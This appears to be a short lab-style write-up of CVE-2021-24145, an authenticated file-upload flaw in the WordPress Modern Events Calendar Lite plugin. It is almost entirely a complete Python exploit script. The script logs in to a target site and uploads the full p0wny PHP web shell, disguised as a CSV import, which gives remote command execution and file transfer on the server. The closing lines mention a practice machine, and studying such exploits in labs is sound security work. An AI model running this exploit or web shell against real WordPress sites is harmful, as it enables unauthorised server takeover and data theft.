CVE-2021-24145 - Remote Code Execution (Authenticated)
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This vulnerability allows us to give an arbitrary file upload in the Modern EventsCalendar Lite plugin in versions < 5.16.5, this caused it to not correctly check the file being uploaded allowing PHP file uploads by the administrator using the csv or text content type.
I am going to use the following code to exploit this vulnerability:
# Exploit Title: Wordpress Plugin Modern Events Calendar 5.16.2 - Remote Code Execution (Authenticated)
# Date 01.07.2021
# Exploit Author: Ron Jost (Hacker5preme)
# Vendor Homepage: https://webnus.net/modern-events-calendar/
# Software Link: https://downloads.wordpress.org/plugin/modern-events-calendar-lite.5.16.2.zip
# Version: Before 5.16.5
# Tested on: Ubuntu 18.04
# CVE: CVE-2021-24145
# CWE: CWE-434
# Documentation: https://github.com/Hacker5preme/Exploits/blob/main/Wordpress/CVE-2021-24145/README.md
'''
Description:
Arbitrary file upload in the Modern Events Calendar Lite WordPress plugin, versions before 5.16.5,
did not properly check the imported file, allowing PHP ones to be uploaded by administrator by using the 'text/csv'
content-type in the request.
'''
'''
Banner:
'''
banner = """
______ _______ ____ ___ ____ _ ____ _ _ _ _ _ ____
/ ___\ \ / / ____| |___ \ / _ \___ \/ | |___ \| || | / | || || ___|
| | \ \ / /| _| _____ __) | | | |__) | |_____ __) | || |_| | || ||___ \
| |___ \ V / | |__|_____/ __/| |_| / __/| |_____/ __/|__ _| |__ _|__) |
\____| \_/ |_____| |_____|\___/_____|_| |_____| |_| |_| |_||____/
* Wordpress Plugin Modern Events Calendar Lite RCE
* @Hacker5preme
"""
print(banner)
'''
Import required modules:
'''
import requests
import argparse
'''
User-Input:
'''
my_parser = argparse.ArgumentParser(description='Wordpress Plugin Modern Events Calenar Lite RCE (Authenticated)')
my_parser.add_argument('-T', '--IP', type=str)
my_parser.add_argument('-P', '--PORT', type=str)
my_parser.add_argument('-U', '--PATH', type=str)
my_parser.add_argument('-u', '--USERNAME', type=str)
my_parser.add_argument('-p', '--PASSWORD', type=str)
args = my_parser.parse_args()
target_ip = args.IP
target_port = args.PORT
wp_path = args.PATH
username = args.USERNAME
password = args.PASSWORD
print('')
'''
Authentication:
'''
session = requests.Session()
auth_url = 'http://' + target_ip + ':' + target_port + wp_path + 'wp-login.php'
# Header:
header = {
'Host': target_ip,
'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'de,en-US;q=0.7,en;q=0.3',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/x-www-form-urlencoded',
'Origin': 'http://' + target_ip,
'Connection': 'close',
'Upgrade-Insecure-Requests': '1'
}
# Body:
body = {
'log': username,
'pwd': password,
'wp-submit': 'Log In',
'testcookie': '1'
}
# Authenticate:
print('')
auth = session.post(auth_url, headers=header, data=body)
auth_header = auth.headers['Set-Cookie']
if 'wordpress_logged_in' in auth_header:
print('[+] Authentication successfull !')
else:
print('[-] Authentication failed !')
exit()
'''
Exploit:
'''
exploit_url = "http://" + target_ip + ':' + target_port + wp_path + "wp-admin/admin.php?page=MEC-ix&tab=MEC-import"
# Exploit Header:
header = {
"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
"Accept-Language": "de,en-US;q=0.7,en;q=0.3",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "multipart/form-data; boundary=---------------------------29650037893637916779865254589",
"Origin": "http://" + target_ip,
"Connection": "close",
"Upgrade-Insecure-Requests": "1"
}
# Exploit Body: (using p0wny shell: https://github.com/flozz/p0wny-shell
body = "-----------------------------29650037893637916779865254589\r\nContent-Disposition: form-data; name=\"feed\"; filename=\"shell.php\"\r\nContent-Type: text/csv\r\n\r\n<?php\n\nfunction featureShell($cmd, $cwd) {\n $stdout = array();\n\n if (preg_match(\"/^\\s*cd\\s*$/\", $cmd)) {\n // pass\n } elseif (preg_match(\"/^\\s*cd\\s+(.+)\\s*(2>&1)?$/\", $cmd)) {\n chdir($cwd);\n preg_match(\"/^\\s*cd\\s+([^\\s]+)\\s*(2>&1)?$/\", $cmd, $match);\n chdir($match[1]);\n } elseif (preg_match(\"/^\\s*download\\s+[^\\s]+\\s*(2>&1)?$/\", $cmd)) {\n chdir($cwd);\n preg_match(\"/^\\s*download\\s+([^\\s]+)\\s*(2>&1)?$/\", $cmd, $match);\n return featureDownload($match[1]);\n } else {\n chdir($cwd);\n exec($cmd, $stdout);\n }\n\n return array(\n \"stdout\" => $stdout,\n \"cwd\" => getcwd()\n );\n}\n\nfunction featurePwd() {\n return array(\"cwd\" => getcwd());\n}\n\nfunction featureHint($fileName, $cwd, $type) {\n chdir($cwd);\n if ($type == 'cmd') {\n $cmd = \"compgen -c $fileName\";\n } else {\n $cmd = \"compgen -f $fileName\";\n }\n $cmd = \"/bin/bash -c \\\"$cmd\\\"\";\n $files = explode(\"\\n\", shell_exec($cmd));\n return array(\n 'files' => $files,\n );\n}\n\nfunction featureDownload($filePath) {\n $file = @file_get_contents($filePath);\n if ($file === FALSE) {\n return array(\n 'stdout' => array('File not found / no read permission.'),\n 'cwd' => getcwd()\n );\n } else {\n return array(\n 'name' => basename($filePath),\n 'file' => base64_encode($file)\n );\n }\n}\n\nfunction featureUpload($path, $file, $cwd) {\n chdir($cwd);\n $f = @fopen($path, 'wb');\n if ($f === FALSE) {\n return array(\n 'stdout' => array('Invalid path / no write permission.'),\n 'cwd' => getcwd()\n );\n } else {\n fwrite($f, base64_decode($file));\n fclose($f);\n return array(\n 'stdout' => array('Done.'),\n 'cwd' => getcwd()\n );\n }\n}\n\nif (isset($_GET[\"feature\"])) {\n\n $response = NULL;\n\n switch ($_GET[\"feature\"]) {\n case \"shell\":\n $cmd = $_POST['cmd'];\n if (!preg_match('/2>/', $cmd)) {\n $cmd .= ' 2>&1';\n }\n $response = featureShell($cmd, $_POST[\"cwd\"]);\n break;\n case \"pwd\":\n $response = featurePwd();\n break;\n case \"hint\":\n $response = featureHint($_POST['filename'], $_POST['cwd'], $_POST['type']);\n break;\n case 'upload':\n $response = featureUpload($_POST['path'], $_POST['file'], $_POST['cwd']);\n }\n\n header(\"Content-Type: application/json\");\n echo json_encode($response);\n die();\n}\n\n?><!DOCTYPE html>\n\n<html>\n\n <head>\n <meta charset=\"UTF-8\" />\n <title>p0wny@shell:~#</title>\n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\" />\n <style>\n html, body {\n margin: 0;\n padding: 0;\n background: #333;\n color: #eee;\n font-family: monospace;\n }\n\n *::-webkit-scrollbar-track {\n border-radius: 8px;\n background-color: #353535;\n }\n\n *::-webkit-scrollbar {\n width: 8px;\n height: 8px;\n }\n\n *::-webkit-scrollbar-thumb {\n border-radius: 8px;\n -webkit-box-shadow: inset 0 0 6px rgba(0,0,0,.3);\n background-color: #bcbcbc;\n }\n\n #shell {\n background: #222;\n max-width: 800px;\n margin: 50px auto 0 auto;\n box-shadow: 0 0 5px rgba(0, 0, 0, .3);\n font-size: 10pt;\n display: flex;\n flex-direction: column;\n align-items: stretch;\n }\n\n #shell-content {\n height: 500px;\n overflow: auto;\n padding: 5px;\n white-space: pre-wrap;\n flex-grow: 1;\n }\n\n #shell-logo {\n font-weight: bold;\n color: #FF4180;\n text-align: center;\n }\n\n @media (max-width: 991px) {\n #shell-logo {\n font-size: 6px;\n margin: -25px 0;\n }\n\n html, body, #shell {\n height: 100%;\n width: 100%;\n max-width: none;\n }\n\n #shell {\n margin-top: 0;\n }\n }\n\n @media (max-width: 767px) {\n #shell-input {\n flex-direction: column;\n }\n }\n\n @media (max-width: 320px) {\n #shell-logo {\n font-size: 5px;\n }\n }\n\n .shell-prompt {\n font-weight: bold;\n color: #75DF0B;\n }\n\n .shell-prompt > span {\n color: #1BC9E7;\n }\n\n #shell-input {\n display: flex;\n box-shadow: 0 -1px 0 rgba(0, 0, 0, .3);\n border-top: rgba(255, 255, 255, .05) solid 1px;\n }\n\n #shell-input > label {\n flex-grow: 0;\n display: block;\n padding: 0 5px;\n height: 30px;\n line-height: 30px;\n }\n\n #shell-input #shell-cmd {\n height: 30px;\n line-height: 30px;\n border: none;\n background: transparent;\n color: #eee;\n font-family: monospace;\n font-size: 10pt;\n width: 100%;\n align-self: center;\n }\n\n #shell-input div {\n flex-grow: 1;\n align-items: stretch;\n }\n\n #shell-input input {\n outline: none;\n }\n </style>\n\n <script>\n var CWD = null;\n var commandHistory = [];\n var historyPosition = 0;\n var eShellCmdInput = null;\n var eShellContent = null;\n\n function _insertCommand(command) {\n eShellContent.innerHTML += \"\\n\\n\";\n eShellContent.innerHTML += '<span class=\\\"shell-prompt\\\">' + genPrompt(CWD) + '</span> ';\n eShellContent.innerHTML += escapeHtml(command);\n eShellContent.innerHTML += \"\\n\";\n eShellContent.scrollTop = eShellContent.scrollHeight;\n }\n\n function _insertStdout(stdout) {\n eShellContent.innerHTML += escapeHtml(stdout);\n eShellContent.scrollTop = eShellContent.scrollHeight;\n }\n\n function _defer(callback) {\n setTimeout(callback, 0);\n }\n\n function featureShell(command) {\n\n _insertCommand(command);\n if (/^\\s*upload\\s+[^\\s]+\\s*$/.test(command)) {\n featureUpload(command.match(/^\\s*upload\\s+([^\\s]+)\\s*$/)[1]);\n } else if (/^\\s*clear\\s*$/.test(command)) {\n // Backend shell TERM environment variable not set. Clear command history from UI but keep in buffer\n eShellContent.innerHTML = '';\n } else {\n makeRequest(\"?feature=shell\", {cmd: command, cwd: CWD}, function (response) {\n if (response.hasOwnProperty('file')) {\n featureDownload(response.name, response.file)\n } else {\n _insertStdout(response.stdout.join(\"\\n\"));\n updateCwd(response.cwd);\n }\n });\n }\n }\n\n function featureHint() {\n if (eShellCmdInput.value.trim().length === 0) return; // field is empty -> nothing to complete\n\n function _requestCallback(data) {\n if (data.files.length <= 1) return; // no completion\n\n if (data.files.length === 2) {\n if (type === 'cmd') {\n eShellCmdInput.value = data.files[0];\n } else {\n var currentValue = eShellCmdInput.value;\n eShellCmdInput.value = currentValue.replace(/([^\\s]*)$/, data.files[0]);\n }\n } else {\n _insertCommand(eShellCmdInput.value);\n _insertStdout(data.files.join(\"\\n\"));\n }\n }\n\n var currentCmd = eShellCmdInput.value.split(\" \");\n var type = (currentCmd.length === 1) ? \"cmd\" : \"file\";\n var fileName = (type === \"cmd\") ? currentCmd[0] : currentCmd[currentCmd.length - 1];\n\n makeRequest(\n \"?feature=hint\",\n {\n filename: fileName,\n cwd: CWD,\n type: type\n },\n _requestCallback\n );\n\n }\n\n function featureDownload(name, file) {\n var element = document.createElement('a');\n element.setAttribute('href', 'data:application/octet-stream;base64,' + file);\n element.setAttribute('download', name);\n element.style.display = 'none';\n document.body.appendChild(element);\n element.click();\n document.body.removeChild(element);\n _insertStdout('Done.');\n }\n\n function featureUpload(path) {\n var element = document.createElement('input');\n element.setAttribute('type', 'file');\n element.style.display = 'none';\n document.body.appendChild(element);\n element.addEventListener('change', function () {\n var promise = getBase64(element.files[0]);\n promise.then(function (file) {\n makeRequest('?feature=upload', {path: path, file: file, cwd: CWD}, function (response) {\n _insertStdout(response.stdout.join(\"\\n\"));\n updateCwd(response.cwd);\n });\n }, function () {\n _insertStdout('An unknown client-side error occurred.');\n });\n });\n element.click();\n document.body.removeChild(element);\n }\n\n function getBase64(file, onLoadCallback) {\n return new Promise(function(resolve, reject) {\n var reader = new FileReader();\n reader.onload = function() { resolve(reader.result.match(/base64,(.*)$/)[1]); };\n reader.onerror = reject;\n reader.readAsDataURL(file);\n });\n }\n\n function genPrompt(cwd) {\n cwd = cwd || \"~\";\n var shortCwd = cwd;\n if (cwd.split(\"/\").length > 3) {\n var splittedCwd = cwd.split(\"/\");\n shortCwd = \"\xe2\x80\xa6/\" + splittedCwd[splittedCwd.length-2] + \"/\" + splittedCwd[splittedCwd.length-1];\n }\n return \"p0wny@shell:<span title=\\\"\" + cwd + \"\\\">\" + shortCwd + \"</span>#\";\n }\n\n function updateCwd(cwd) {\n if (cwd) {\n CWD = cwd;\n _updatePrompt();\n return;\n }\n makeRequest(\"?feature=pwd\", {}, function(response) {\n CWD = response.cwd;\n _updatePrompt();\n });\n\n }\n\n function escapeHtml(string) {\n return string\n .replace(/&/g, \"&\")\n .replace(/</g, \"<\")\n .replace(/>/g, \">\");\n }\n\n function _updatePrompt() {\n var eShellPrompt = document.getElementById(\"shell-prompt\");\n eShellPrompt.innerHTML = genPrompt(CWD);\n }\n\n function _onShellCmdKeyDown(event) {\n switch (event.key) {\n case \"Enter\":\n featureShell(eShellCmdInput.value);\n insertToHistory(eShellCmdInput.value);\n eShellCmdInput.value = \"\";\n break;\n case \"ArrowUp\":\n if (historyPosition > 0) {\n historyPosition--;\n eShellCmdInput.blur();\n eShellCmdInput.value = commandHistory[historyPosition];\n _defer(function() {\n eShellCmdInput.focus();\n });\n }\n break;\n case \"ArrowDown\":\n if (historyPosition >= commandHistory.length) {\n break;\n }\n historyPosition++;\n if (historyPosition === commandHistory.length) {\n eShellCmdInput.value = \"\";\n } else {\n eShellCmdInput.blur();\n eShellCmdInput.focus();\n eShellCmdInput.value = commandHistory[historyPosition];\n }\n break;\n case 'Tab':\n event.preventDefault();\n featureHint();\n break;\n }\n }\n\n function insertToHistory(cmd) {\n commandHistory.push(cmd);\n historyPosition = commandHistory.length;\n }\n\n function makeRequest(url, params, callback) {\n function getQueryString() {\n var a = [];\n for (var key in params) {\n if (params.hasOwnProperty(key)) {\n a.push(encodeURIComponent(key) + \"=\" + encodeURIComponent(params[key]));\n }\n }\n return a.join(\"&\");\n }\n var xhr = new XMLHttpRequest();\n xhr.open(\"POST\", url, true);\n xhr.setRequestHeader(\"Content-Type\", \"application/x-www-form-urlencoded\");\n xhr.onreadystatechange = function() {\n if (xhr.readyState === 4 && xhr.status === 200) {\n try {\n var responseJson = JSON.parse(xhr.responseText);\n callback(responseJson);\n } catch (error) {\n alert(\"Error while parsing response: \" + error);\n }\n }\n };\n xhr.send(getQueryString());\n }\n\n document.onclick = function(event) {\n event = event || window.event;\n var selection = window.getSelection();\n var target = event.target || event.srcElement;\n\n if (target.tagName === \"SELECT\") {\n return;\n }\n\n if (!selection.toString()) {\n eShellCmdInput.focus();\n }\n };\n\n window.onload = function() {\n eShellCmdInput = document.getElementById(\"shell-cmd\");\n eShellContent = document.getElementById(\"shell-content\");\n updateCwd();\n eShellCmdInput.focus();\n };\n </script>\n </head>\n\n <body>\n <div id=\"shell\">\n <pre id=\"shell-content\">\n <div id=\"shell-logo\">\n ___ ____ _ _ _ _ _ <span></span>\n _ __ / _ \\__ ___ __ _ _ / __ \\ ___| |__ ___| | |_ /\\/|| || |_ <span></span>\n| '_ \\| | | \\ \\ /\\ / / '_ \\| | | |/ / _` / __| '_ \\ / _ \\ | (_)/\\/_ .. _|<span></span>\n| |_) | |_| |\\ V V /| | | | |_| | | (_| \\__ \\ | | | __/ | |_ |_ _|<span></span>\n| .__/ \\___/ \\_/\\_/ |_| |_|\\__, |\\ \\__,_|___/_| |_|\\___|_|_(_) |_||_| <span></span>\n|_| |___/ \\____/ <span></span>\n </div>\n </pre>\n <div id=\"shell-input\">\n <label for=\"shell-cmd\" id=\"shell-prompt\" class=\"shell-prompt\">???</label>\n <div>\n <input id=\"shell-cmd\" name=\"cmd\" onkeydown=\"_onShellCmdKeyDown(event)\"/>\n </div>\n </div>\n </div>\n </body>\n\n</html>\n\r\n-----------------------------29650037893637916779865254589\r\nContent-Disposition: form-data; name=\"mec-ix-action\"\r\n\r\nimport-start-bookings\r\n-----------------------------29650037893637916779865254589--\r\n"
# Exploit
session.post(exploit_url, headers=header, data=body)
print('')
print('[+] Shell Uploaded to: ' + 'http://' + target_ip + ':' + target_port + wp_path + '/wp-content/uploads/shell.php')
print('')We will use this exploit:
We will see that we created a file called shell.php in /wp-content/uploads/ if we enter the file we will see that we have a p0wny@shell with the ability to execute commands.
I have created a machine that is currently uploaded to the Dockerlabs platform where you can touch this vulnerability
